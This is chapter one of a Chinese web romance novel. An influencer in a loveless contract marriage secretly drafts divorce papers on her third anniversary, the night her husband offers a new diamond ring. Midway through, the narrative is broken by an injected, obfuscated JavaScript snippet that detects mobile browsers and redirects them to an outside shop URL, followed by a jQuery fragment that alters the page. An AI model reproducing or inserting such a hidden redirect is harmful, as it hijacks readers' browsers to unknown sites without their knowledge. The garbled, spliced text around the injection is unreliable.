第一章我死在了他求婚那天
手机屏幕上，叶恒枫的微信对话框还停留在三天前。
“今晚有会，不回了。”
颜萱盯着这行字看了很久，直到屏幕自动熄灭。她抬起头，面前的火锅咕嘟咕嘟冒着热气，红油翻滚，辣味呛得她眼睛发酸。
今天是他们结婚三周年。
她特意推掉了下午的拍摄，去超市买了最好的和牛，还有他爱吃的黄喉、毛肚。她记得刚结婚那会儿，叶恒枫还会陪她吃火锅，虽然全程板着脸，但至少人在。
后来就只剩她一个人了。
手机震动，她立刻划开——
不是叶恒枫，是助理小夏发来的消息。
“萱姐，您让我查的魏冰燕那个代言，我查到了。是叶氏集团旗下子公司牵线搭的桥。”
颜萱握着筷子的手顿了顿。
魏冰燕，叶恒枫的大学学妹，现在是新晋小花。前几天她出席活动的照片上了热搜，脖子上那条项链，和颜萱结婚那天收到的那条一模一样。
那天叶恒枫把首饰盒扔给她，说“妈让我给你的”，然后转身就出了门。
她打开盒子，里面躺着一条梵克雅宝，还有一张购物小票——两张一模一样的项链，另一张被撕掉了收银联。
“谢谢。”她当时对着空荡荡的房间说。
客厅的时钟指向十一点。
火锅早就凉了，红油凝成一层暗红色的壳。颜萱起身把菜一盘盘端回厨房，和牛还没拆封，她放回冰箱，明天还能吃。
门锁响了。
叶恒枫进门的时候，看见的是颜萱正往厨房走的背影。她穿着家居服，头发随意挽着，脚上是他嫌弃过的那双旧拖鞋。
“还没睡？”他问。
“嗯。”颜萱头也没回，“厨房有火锅，想吃自己热。”
叶恒枫皱了皱眉：“大半夜吃什么火锅。”
颜萱没说话，关上厨房的门，径直走向卧室。
叶恒枫看着她的背影，总觉得哪里不对。平时他回来，颜萱会迎上来接他的外套，问他吃没吃饭，要不要给他煮碗面。今天她连看都没看他一眼。
但很快他就把这点异样抛在了脑后，手机响了，魏冰燕发来消息：“学长，今晚谢谢你送我回家，改天请你吃饭。”
他打字回复：“不用客气。”
卧室里，颜萱躺在床上，听着外面的动静。叶恒枫进了书房，关门的声音很轻，和她没关系。
她侧过身，月光从窗帘缝隙透进来，落在床头柜上那个摊开的笔记本上。那是她用了三年的账号规划本，每一页都密密麻麻写满拍摄脚本、选题方向、商业合作方案。从五万粉丝到现在的五百万，她一步一个脚印走过来。
叶恒枫从来不知道。
有一次她参加品牌盛典，穿了条高定礼服走红毯，照片刷屏全网。当晚叶恒枫回家，她问他有没有看到，他说“看到什么”。
她说没什么。
三年了，她在这个家里的存在感，还不如魏冰燕的一条朋友圈。
第二天早上，颜萱出门的时候，叶恒枫已经走了。
餐桌上放着一张卡，旁边压着张纸条：“这个月的生活费。”
颜萱看着那张卡，忽然笑了。
她是缺这点钱的人吗？她上个月刚签了一个一线品牌的代言，代言费够普通人家生活十年。但她从来没说过，叶恒枫也从来没问过。
她把卡收进抽屉，出门去工作室。
今天是周五，每周的选题会。刚进会议室，助理小夏就凑过来，表情有点古怪：“萱姐，您看热搜了吗？”
“没。”
小夏把手机递过来。
热搜第三：#魏冰燕神秘男子深夜接送#
配图是昨晚拍的，一辆黑色宾利停在她公寓楼下，驾驶座上的男人侧脸清晰——叶恒枫。
评论区已经炸了。
“卧槽这不是叶氏集团那个叶恒枫吗？钻石王老五啊！”
“听说他结婚了？这是婚内出轨？”
“结婚了又怎样，这种豪门婚姻都是各玩各的吧。”
颜萱把手机还给她，面色如常：“开选题会。”
小夏欲言又止，最后还是没敢吭声。
一整个上午，颜萱正常主持会议，定选题，审脚本，批方案。中午吃饭的时候，手机响了。
来电显示：叶恒枫。
她看了两秒，挂掉。
第二次响起，挂掉。
第三次，她接了。
“什么事？”
“你在哪？”叶恒枫的声音有点沉。
“工作室。”
“看到热搜了？”
“嗯。”
“那是个误会，她车坏了，我顺路送她。”
颜萱没说话。
“颜萱？”叶恒枫皱了皱眉，她从来不会这样不回应。
“知道了。”颜萱说，“还有事吗？我下午有拍摄。”
叶恒枫顿了一下：“晚上回家吃饭，我有事跟你说。”
“好。”
挂了电话，颜萱盯着窗外看了很久。
有事跟她说。她能想到是什么。魏冰燕要进叶氏集团了吧，或者他要宣布什么决定，离婚协议？分居声明？
随便吧。
她已经不在乎了。
下午的拍摄很顺利，是一条美食vlog，教大家做快手晚餐。颜萱站在镜头前，笑容自然，动作利落，和平时没有任何区别。
收工的时候，天已经黑了。
她开车回家，路过那家他们领证后第一次吃饭的小馆子，现在已经变成了一家奶茶店。那时候叶恒枫问她有什么想吃的，她说随便，他就带她来了这家。
一荤一素一汤，花了八十七块钱。
她记得很清楚，因为他付钱的时候，她看见他钱包里还夹着魏冰燕的学士服照片。
后来她再也没问过那张照片。
回到家，客厅灯亮着。
叶恒枫坐在沙发上，面前摆着一个首饰盒。见她进门，他站起来，表情有点不自然。
“回来了？”
颜萱换鞋：“嗯。”
“过来坐，我有事跟你说。”
颜萱走过去，在他对面坐下，中间隔着茶几。
叶恒枫把首饰盒推过来，打开。
里面是一枚钻戒，六克拉，主钻旁边围着一圈碎钻，灯光下闪得刺眼。
“三周年快乐。”他说，“之前那个求婚戒指太寒酸了，这个补给你。”
颜萱看着那枚戒指，没动。
三年前，叶恒枫向她求婚，拿出来的是一枚半克拉的小钻戒，还是和他妈妈一起去挑的。他说，我妈说这个大小合适，结婚戴不招摇。
她笑着说好，我喜欢。
其实她根本不在乎戒指大小，她以为他是真心想娶她。
后来才知道，那场婚姻是他妈妈一手安排的。叶家需要一个“安分守己”的儿媳妇，颜家需要一个“门当户对”的亲家。他们两个，不过是被凑到一起的两个符号。
“不喜欢？”叶恒枫见她没反应，眉头微蹙。
“喜欢。”颜萱说，“很漂亮。”
她伸手合上首饰盒，“放那儿吧。”
叶恒枫的表情僵了一下。
换作以前，颜萱会笑着戴上，然后问他自己好不好看。现在她甚至没有碰那枚戒指。
“颜萱。”他叫住起身要走的她。
“还有事？”
叶恒枫站起来，走到她面前：“昨晚的事，真的只是顺路。魏冰燕是妈让我照顾的，她和我们家有些渊源，我没法推。”
“我知道。”颜萱点点头，“你照顾她，应该的。”
“你——”
“我真的知道。”颜萱打断他，“叶恒枫，你不用跟我解释。我们是什么关系，我很清楚。”
她转身要走，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17279110|198343||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被他一把拽住手腕。
“你说清楚，我们是什么关系？”
颜萱低头看着他握着自己的手，那只手骨节分明，她曾经无数次在深夜里握过。但此刻，她只觉得凉。
“合同关系。”她抬起头，迎上他的目光，“你妈应该给你看过吧，婚前协议第三条，这段婚姻维持五年，到期后我分得一套房产和五百万现金，净身出户。现在三年了，还有两年。”
叶恒枫脸色变了。
那份协议他根本没仔细看，签的时候他妈说都是些财产分割条款，走个形式。他不知道颜萱竟然记得这么清楚。
“你是这么想的？”他声音发紧。
颜萱没回答，只把手腕从他手里抽出来：“你还有别的事吗？”
叶恒枫看着她，忽然觉得自己从来没有认识过这个女人。三年来，她温柔、顺从、懂事，从不多问一句，从不干涉他任何事。他一直以为这就是他想要的婚姻。
可现在他才发现，她的懂事，不过是因为她从来没把他当成自己人。
“颜萱，”他叫住走向卧室的她，“协议是协议，但我是真的想给你补一个求婚。”
颜萱停住脚步。
她没有回头。
“叶恒枫，”她的声音很轻，“你有没有想过，我最想要的，不是戒指，不是求婚，甚至不是你这个人。我最想要的，是你把我当回事。”
“我一直——”
“你没有。”颜萱打断他，“这三年，你从来没问过我是做什么的，没问过我喜欢什么讨厌什么，没问过我开不开心。我在这个家里，比一个保姆的存在感都低。至少保姆加班，你还知道给加班费。”
叶恒枫张了张嘴，说不出话。
“今天热搜出来，你打电话解释，你说是误会。可你有没有想过，我难不难过？”
颜萱转过身，眼眶微红，但没有眼泪。
“你没有。因为在你心里，我根本不需要在乎。反正我是合同上的乙方，只要履行义务就行，有没有情绪不重要。”
“颜萱——”
“戒指我收下了，谢谢。”她扯出一个笑容，“明天我约了姐妹吃饭，不回来。”
卧室门关上了。
叶恒枫站在原地，很久没动。
客厅的灯还亮着，首饰盒敞着口，那枚六克拉的钻戒躺在里面，折射出清冷的光。
他想起刚才颜萱看那枚戒指的眼神——不是惊喜，不是喜欢，甚至不是讽刺。是空。
什么都没有的空。
那一瞬间，他忽然慌了一下。
但这种慌乱只持续了几秒。他很快说服自己，她只是今天心情不好，明天就好了。以前不都这样吗？她从来不会真的生气。
他关了灯，去了书房。
卧室里，颜萱坐在床边，手里拿着手机。
屏幕上是一份离婚协议书的模板，她一个字一个字地填。
甲方：颜萱
乙方：叶恒枫
婚姻存续期间共同财产分割：无。
她没要过叶恒枫一分钱，这套房子是他妈名下的，车是她自己买的，存款全是她赚的。这段婚姻三年，她什么都没拿他的，除了那枚半克拉的求婚戒指。
填完最后一项，她保存文档，设置了一个定时发送。
发送时间：明天上午九点。
那时候她应该在姐妹家里，喝着咖啡，讨论她们下一站旅行去哪里。她想去冰岛，想看极光，想一个人在雪地里走很久很久。
手机屏幕暗下去之前，她最后看了一眼微信对话框。
叶恒枫的头像是一张风景照，他们去海边度假时他拍的。她说用她的照片吧，他说不用。
她换过三次头像，他一次都没发现。
她发过五十八条朋友圈，他一条都没点赞。
她等他回家等到深夜的次数，数都数不清。
够了。
颜萱关掉手机，躺下。